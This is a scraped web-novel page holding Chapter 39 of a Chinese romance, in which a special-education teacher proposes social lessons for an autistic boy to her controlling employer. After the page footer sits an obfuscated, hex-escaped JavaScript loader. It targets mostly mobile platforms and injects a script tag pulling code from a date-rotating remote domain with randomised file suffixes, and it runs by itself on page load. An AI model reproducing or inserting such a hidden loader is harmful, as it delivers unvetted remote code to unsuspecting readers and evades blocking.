返回Chapter 39  弱水千流首页

关灯 护眼     字体:

上一章 目录 没有了

第39章Chapter 39

Chapter 39

听完莫少商的话,温意浓耳根蓦地一片滚烫,连带着身体也跟着燥热起来。她脸色绯红地睁大眼睛,压低了嗓音,几乎是脱口而出:“莫先生,我是有正事和你商量,是关于艾瑞的。”

莫少商直勾勾注视着她,眉眼间的神色没有丝毫异样,淡淡地回她一句反问:“这些场所有什么问题。”

温意浓轻轻咬紧唇瓣。

他的书房,他的卧室,地下酒窖。

莫少商口中提到的这些地方,每一处都旖旎暧昧,满是他对她恣意妄为的痕迹。

某些画面争先恐后涌入脑海。

书房内的每次独处,卧室里他替她戴上项链时的灼热目光,酒窖中那个暴雨夜的失控狂热……

以致她根本无法分辨,这人是真在为他们的商议地点提供选择,还是只是多了个借口,欲图不轨。

无数令人羞于启齿的回忆翻涌上来,温意浓心尖一阵发紧,脸蛋温度也愈发滚烫。

但这个节骨眼上,没有什么比艾瑞的康复进程更重要。她是一名专业的特教老师,有责任也有能力摒除外界的一切干扰。心中思索着,她吸气呼气,暗自做了个深呼吸,借此平复心绪。不多时,便清了清嗓子重新开口,尽量用稀松平常的语气道:“那就书房吧。”说着,温意浓顿了顿:“您看您几点方便?”“十点。”

温意浓闻言,眨了眨眼睛,下意识问了句:“是明天上午十点吗?”“今晚。”

今晚十点?

她微怔,白皙脸蛋上强撑出的淡然崩开一道裂痕一-晚上十点钟?会不会太晚了。

她沉吟两秒,忍不住又说:“莫先生,这个时间有点晚,我担心会打扰到您休息。不然,我们明天白天再找时间详谈?”“明天没有时间。”

温意浓不死心,又道:“那不然就早一点?八点半…实在不行,九点也可以的。我会尽量快,争取不耽误您太多时间。”“八点半到九点五十分,我有一个视频会议要开。"莫少商垂眸看着她,语气如常。说着稍顿一息,眉峰漫不经心地轻抬,“恕我冒昧。温老师这样迟疑纠结,是在害怕什么?”

温意浓”

明知故问。

这个男人怎么能这么坏?

她被问得不知怎么回答,嗫嚅好半响,最后只能硬着头皮点点头,勉强同意了这一安排:“好吧。那就晚上十点书房见。”话音落地,莫少商极轻地勾了勾唇:“好。”大

夜色渐深,莫氏庄园笼罩在一片静谧的暗蓝之中。喷泉早已停止运作,水面如镜,倒映着主宅暖黄的灯火。风拂过修剪整齐的灌木丛,发出细微轻吟,像兽类的低语。

晚上十点,温意浓准时来到书房门口。

双颊有些热,心跳有些急,两只掌心也湿漉漉的,不知何时沁满汗珠。她抱着文件夹定定神,而后抬手,准备敲门。谁知指骨刚触及实木门面,还没来得及扣响,面前的门居然自己开了。像是早就在等待她的到来。

门缝里依稀透出一丝光线,昏暗暧昧,并不明亮。温意浓将手臂放下,推开门,走进去。

书房还是老样子。空气里是书页与香氛混合的冷调气息,书籍在架上排列整齐,整个空间冰凉、冷硬,缺乏活人气息,像一座精心心布置却无人居住的陈列馆。

耳畔隐约有沙沙声传来。

几乎是瞬间,温意浓就想起了那条白化银环蛇,同时全身汗毛根根倒竖。她转头看向书房左侧。

那片区域被浓稠的黑暗完全吞噬,灯光照过去便被寸寸吞没,像一张永不餍足的巨口,正静候猎物自投罗网。

温意浓清楚地记得,那里放着一个恒温特制玻璃箱,里面有一条名叫Silvio的白化银环蛇。

她下意识往书房右侧挪了挪,尽可能远离那片黑暗。屋子里静极了。

除了银环在玻璃表面爬行的沙沙声外,书房内一片死寂。温意浓狐疑地转动脑袋,环顾四周,没有见到除她之外的第二个人。奇怪……

莫少商人呢?他们不是约好十点钟在书房见面,难道他忘记了?温意浓边琢磨,边从衣兜里摸出手机,准备给她的雇主先生发条询问短信。就在这时,一道嗓音冷不丁从背后传来。冷冽,低沉,像蛇信轻轻舔舐过她细嫩的耳廓

“温老师很守时。”

温意浓始料未及,被吓了一大跳。五指一滑,手机没拿稳,“噗”一声闷响,掉在了地毯上。

她猛地回过头。

莫少商不知何时出现在她身后。

他从黑暗中缓步而出,像夜色凝结成的精魅,又宛若蛰伏于深渊的巨兽终于舒展身形。西装外套不知所踪,他身上只一件纯白衬衫,外罩黑色马甲,勾革勒出肩线流畅而凌厉的轮廓。一双大长腿包裹在纯黑西裤里,笔直修劲,走动时祖脚轻拂过地毯,无声无息。

高挺鼻梁上,那副金丝眼镜在昏昧光线下反射出寒冽的微光,将那双蓝黑色的眼眸衬得愈发深邃,难测。

而最摄人心魄的,是男人手上的白色手套。修长的指骨被纯白色完整包裹,贴合得严丝合缝。那双手垂在身侧,指节微微弯曲,分明什么也没做,却无端让人联想到手术台、陈列柜这样的字眼,和某些神秘古老的仪式。

禁欲,优雅,危险。

温意浓的思绪被眼前强烈的视觉冲击俘获,神思一阵恍惚。那头。

莫少商蓝黑色的眸注视着她,长指微动,漫不经心勾住手套边缘,缓慢扯下。眨眼间,一只手从纯白中一寸寸剥离,露出底下骨节分明,青筋明显的手背。动作慢条斯理,却带着种绅士般的矜贵感。他将脱下的手套随手扔进旁边的垃圾桶。

直到此时,温意浓才倏地回过神。

“……莫先生好。"她支吾着打招呼。

不知是因为这突然的惊吓,还是别的什么缘由,温意浓心脏跳得飞快。又缓了两秒,她才又好奇地接着说:“您刚刚是一直在书房里吗?”“嗯。"莫少商淡淡地应她。

“不好意思,我之前没看见您,所以没有向您问好。“温意浓很识时务地说,余光一扫,瞥见脚边地毯上的手机,连忙弯腰捡起来。直起身一抬头,发现莫少商不知何时已经走到她面前。距离不足半米。

近到,她能闻到他身上那股清冽的雪松气息,能看清他镜片后每一根浓密的睫毛。

莫少商面容平静,眼帘低垂,同样也在看她。蓝黑色的眼眸中倒映出一张漂亮的小脸。

年轻女孩乌亮的瞳仁雾气迷蒙,迎视着他,脸蛋绯红,唇色粉嫩。纯美到白璧无瑕。

宛如一株不小心闯进黑暗世界的铃兰。

莫少商镜片后的目光缓慢游移,最终落在她柔软的粉唇上,停住。目光专注到近乎痴迷,像要将她的唇瓣烫出印记。沐浴在这道视线中,温意浓只觉浑身不自在。少倾,她抿了抿唇,试探着问了句:“莫先生?”

“刚才我在给Silvio喂食。"莫少商淡淡开口,目光终于从她唇上移开,恢复了惯常的平静,“抱歉,让你久等了。”

听见这话,温意浓脑子里不由自主浮现出Silvio那双阴森森的竖瞳,以及它缠绕在男人手臂上吞吐蛇信的画面,顿觉毛骨悚然。原谅她实在没兴趣了解更多细节,只能定定神,飞速调整思绪收拾心心情,切入正题。

“莫先生,"她尽量平稳自若地说,“今晚我来找你,是想和你商量给艾瑞增设社交课的事。”

莫少商看了她两秒,侧身做了个“请"的手势。两人并肩同行,移步至会客区。

温意浓在单人沙发落座,莫少商则在她对面的长沙发上坐下,长腿交叠,姿态闲适而松弛,目光笔直不移落在她身上。温意浓打开文件夹,深吸一口气。

“莫先生,对于自闭症谱系障碍儿童来说,社交干预的重要性不亚于语言和行为干预。"她抬起眼,神情认真,语气沉着而笃定,“艾瑞现在的状态已经有了明显进步,他可以和我进行简单的互动,也能够理解一些基础的社交规则。但仅有我一个人的陪伴是不够的。他需要接触更多同龄人,需要在真实的社交场景中去练习、去试错、去学习。”

她翻开文件夹里的几张纸,递给他。

“这是我初步拟定的社交课流程。每周两到三次,每次一小时。课程内容包括轮流游戏、情绪识别、简单的情景模拟等等。我会根据艾瑞的即时反应调翻难度,确保他在舒适区边缘一点点突破。”莫少商接过几页纸,垂眸翻阅,神情看不出喜怒。温意浓继续道:“这样的课程,能够给艾瑞带来多重康复效果。第一,增加视觉和听觉刺激,促进大脑相关区域的发育。第二,在安全可控的环境中体验社交互动,降低他对陌生人的防御和焦虑。第三,通过观察其他孩子的行为,模仿学习,慢慢建立他自己的社交图式。”

说到这里,温意浓顿了顿,看向他。

“所以,我认为给艾瑞增设社交课是很有必要的。”不一会儿,莫少商掀高眼帘,再次注视她。“温老师有什么具体的计划。”

对上这双眼,温意浓心跳漏掉一拍,面上却维持着镇定,继续道:“我的计划是,带艾瑞走出莫氏庄园,去星桥儿童康复中心进行社交课的训练。那里的环境是专门为特需儿童设计的,有专业的感统教室、游戏区,也有其他正在接受干预的孩子。新的环境,新的人,新的声音和光线,这些都能给艾瑞提供更丰富的感官刺激,帮助他大脑发育。”

言及此处,温意浓稍顿几秒,又补充道:“当然了。您如果实在不放心,前面几节课都可以陪同艾瑞一起。我会联系校长尽快排出课程表,到时候提前这您过目,供您参考,安排时间。”

莫少商略颔首,语气淡淡:“温老师有心了。”温意浓竭力挤出一抹微笑:“这都是我的本职工作,应该的。”话音落下,书房内便陷入一阵静默。

Silvio爬行的沙沙声隐约传来,类似某种无声的计时。须臾,温意浓主动从沙发上站起身,对莫少商道:“莫先生,要说的话我都说完了。现在天色已晚,我就不打扰您休息了。再见。”说完,她转身便准备离去。

“温老师。”

身后传来男人的嗓音。

温意浓脚下步子倏然一停,整副身体都微僵。一股不祥的预感从心头升起。

万籁俱寂中,她缓慢转过头。

昏昧光线里,莫少商仍坐在沙发上,姿态未变,可那双蓝黑色的眼眸中却似乎有什么被压抑,被克制,仿佛深海之下涌动的暗流,又似铁笼之中缓缓踱步的野兽。

平静表象下,满是几乎要破土而出的欲念。温意浓呼吸都是一滞。

“我向你提出的那个请求,”他注视着她,声音低而缓,“你考虑好了吗。”温意浓很轻地咬了咬唇瓣,没有出声。

莫少商看出她的迟疑,不动声色,亦未催促。温意浓垂下眼帘。

自从上次在地下酒窖,这人提出和她交往的请求后,他已经问过好几次。她每次都是用一句“还没想好"搪塞过去。都说事不过三,同样的理由,总不能次次都拿来当挡箭牌。她思忖着,犹豫再三,终于启唇,闷闷地道:“我同意与否,对莫先生来说真的有区别吗?”

哪一次,他不是直接对她又抱又亲?

“有。”

一个字的回答,落得极快,快得像根本没有经过思考。温意浓眼睫颤了颤,掀高几分,望向他。

莫少商站起身,向她走近一步,两步。

距离被压缩。

他的身影几乎将她笼罩。

“温意浓。”

他叫她的全名,声线低缓清晰,像在进行某种郑重其事的宣告,“坦诚地说,我迫不及待,想要一个你给的名分。”温意浓愣怔住、

心跳像被人猛地攥住又松开,最后被抛上遥远的夜空。这种感觉着实复杂。慌乱,羞窘,还有一丝丝说不清道不明的隐秘悸动,春日里破土的嫩芽般,纤细却执着,教人难以忽视。温意浓不敢再看他,垂下眼帘,睫毛轻轻颤动。半晌。

她终于合了合眸子,呼出一口气,道:“明晚。”莫少商微挑眉。

“明晚十二点前,"温意浓抬起眼,迎向他的目光,“我会告诉你答案。”大

从书房离开,温意浓回到自己的卧室。

窗外夜色已浓。月光被云层遮蔽,庄园沉入一片幽深的暗蓝。只有远处几盏路灯还亮着,光晕昏黄,像溺水者最后的呼吸。她洗完澡,躺回床上,盯着天花板发了会儿呆。数分钟前的画面,如走马灯般在脑海里流转,还有那句“我想要一个你给的名分”……

温意浓抬起手,捂住发烫的脸颊。

打住。

别想了!

温意浓定定神,从床头柜摸出手机,准备下几局棋平复心情。没成想,刚进入游戏界面,手机铃声叮叮叮响起来。温意浓看眼来电显示:沈玉兰。

她眸光微动,旋即便清清嗓子,将电话接通,语调轻快地唤:“喂,妈。”“闺女,睡了没?"妈妈的声音从那头传来,带着熟悉的亲昵。“还没呢,刚洗完澡躺下。"温意浓翻了个身,把枕头垫高些,“妈你怎么突然给我打电话呀?”

沈玉兰笑着啐她一句:“你这傻丫头,你是我亲闺女,我给我闺女打电话还需要理由吗?不能是单纯想你了?”

温意浓忍不住也笑起来:“当然不需要理由。妈妈我也想你。”母女两人随便拉了会儿家常。

沈玉兰说起楼下张阿姨家的女儿刚生了二胎,又说菜市场最近的排骨涨价涨得离谱,温意浓听着,有一搭没一搭地应着,嘴角不知不觉弯起来。久违的烟火气,寻常有温暖,终于要让她紧绷了一晚上的神经渐渐放松。可就在这时,令温意浓没想到的是,妈妈沈玉兰突然话锋一转,莫名其妙就蹦出一句:“数,浓浓,你最近和裴医生聊得怎么样啊?”温意浓愣住,一脸茫然:“什么和裴医生聊得怎么样?”“之前我不是给你推了裴医生的微信号吗?"沈玉兰语气里带着点审视的意味,“你们加上好友到现在,一直没聊过天?”闻听此言,温意浓才一拍脑门儿,后知后觉地想起来一一前段时间老妈给她推了裴西洲的微信号,还让她添加好友来着。可她呢。

前脚答应得好好的,后脚就给忘到了九霄云外。思索着,温意浓干咳几声,打哈哈道:“人家裴医生忙得很,哪儿有闲工夫和我聊天。”

知女莫若母,沈玉兰敏锐地察觉到一丝不对劲,声音沉下来:“你是不是压根没加人家好友?”

温意浓不敢欺骗妈妈,只能尴尬而不失礼貌地沉默。“温、意、浓。“沈玉兰念出三字魔咒,一字一顿。温意浓心虚地缩了缩脖子:……可是妈,我真的有必要加人家裴医生的微信好友吗?外公不是都出院了。”

“当然有必要。”

沈玉兰语气里带了点不高兴,“外公后期的日常护理,你不得问问裴医生?还有后面预约复查什么的。你加个裴医生的好友,只有好处没有坏处。“她顿了顿,忍不住数落起这个宝贝闺女来,“答应妈妈的事不去做,这不是把妈妈的话当耳旁风吗?”

多一事不如少一事,温意浓不想惹母亲大人不开心,连忙道:“妈,我是真的忘了,不是故意把您的话当耳旁风的。我答应您,我挂断电话马上就加裴医生好友,可以吗?”

“别等挂电话了。“沈玉兰斩钉截铁,“现在就加,免得你又忘。”温意浓拗不过沈玉兰,没办法,只好在聊天记录中找出妈妈推送来的微信名片。

只见对方头像是一个穿着白大褂,站在树影和阳光下微笑的年轻男人,温文尔雅,眉目清朗。

她点了点“添加为好友"按键,在备注里认认真真写下:沈瑞清老人的外孙女。

做完这一切,温意浓乖乖向沈玉兰汇报:“好友申请已经发过去了。”沈玉兰这才满意,笑了笑,声音又恢复了往日的慈和:“这才对嘛。”说到这里,她稍停一息,又意味深长地补充道:“浓浓,裴医生长得好工作好,你们这些年轻人啊,就是要多和这样的青年才俊交朋友。”温意浓听出她话里有话,好笑地应道:“是是是,您说得都对。”又闲聊了几句,母女俩才挂断电话。

温意浓盯着手机屏幕上“好友申请已发送"的提示,摇了摇头,将手机放到一边,闭上眼睛。

深夜十一点。

莫氏庄园地下酒窖深处,画室。

一盏孤灯亮着,光芒苍白而清冷,将偌大的空间切割成明暗分明的两半。光线之外,是无边无际的黑暗,好似随时会涌上来,将一切吞没殆尽的潮。莫少商站在画架前,身上仍穿着那件不染纤尘的白衬衫。袖口随意挽起,露出精瘦有力的小臂。指间沾着几抹未干的颜料,在惨白灯光下泛着幽微的光。画布上的年轻女孩,正凝望着他。

那双眼睛湿漉漉的,噙着泪,眼眶泛着红潮。再往下,粉嫩的唇微张开,像要说什么,又像什么都说不出来。

潮红的脸颊,凌乱的发丝,这副脆弱的靡靡媚态,是他记忆中的温意浓。也是只存在于他画笔下的温意浓。

莫少商凝视着那双泪眼,良久,缓缓抬起手。指尖触上画布,沿着她脸颊的轮廓轻轻游走。动作轻而柔,不敢用一丝力,像在抚摸一朵随时会凋零的花,触碰一件随时会碎裂的玉瓷。等待最磨人。

还要等多久?

才能让这双湿漉漉的眼睛映入他。从此,便只看他一个人……忽地,诡异静谧中,“叮"一声脆响突兀响起。是手机。

莫少商动作顿住,两秒后,将手收回。随机拿起一旁的湿巾,慢条斯理擦拭起指尖沾染的颜料,一根一根手指,仔细优雅。然后才拿起手机,点亮屏幕。

一条未读的微信通知,映入莫少商视线。

发信人的头像是一个穿白色医护制服的年轻男人,眉眼清俊,翩翩君子。裴西洲:温老师,很高兴收到你的好友申请。莫少商的瞳孔微微收缩了一下。

他的目光定在那行字上,一动不动。

片刻。

又是一条消息。

裴西洲:消息发错,抱歉。

紧接着,第一条消息就从莫少商眼皮子底下撤回,彻底消失。画室里一片死寂。

莫少商垂着眼帘,盯着那个已经空荡荡的对话框。灯光在他镜片上投下两小块苍白的反光,遮住了眼底所有的情绪。良久。

他动了动手指,点进对方头像。

照片里,那个穿着白大褂的年轻男人站在阳光下,笑容温文尔雅,眉眼清朗,浑身散发着属于正常世界的气息,温暖无害。莫少商盯着那张脸,眯了眯眼睛。

然后。

他面无表情地动了动手指。

删除好友。

屏幕一闪,碍眼的头像彻底消失。

莫少商将手机随手搁在一边,重新转向画架。拿起画笔,蘸上颜料。

画布上那双泪眼依旧凝望着他。

『加入书签,方便阅读』

上一章 目录 没有了

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");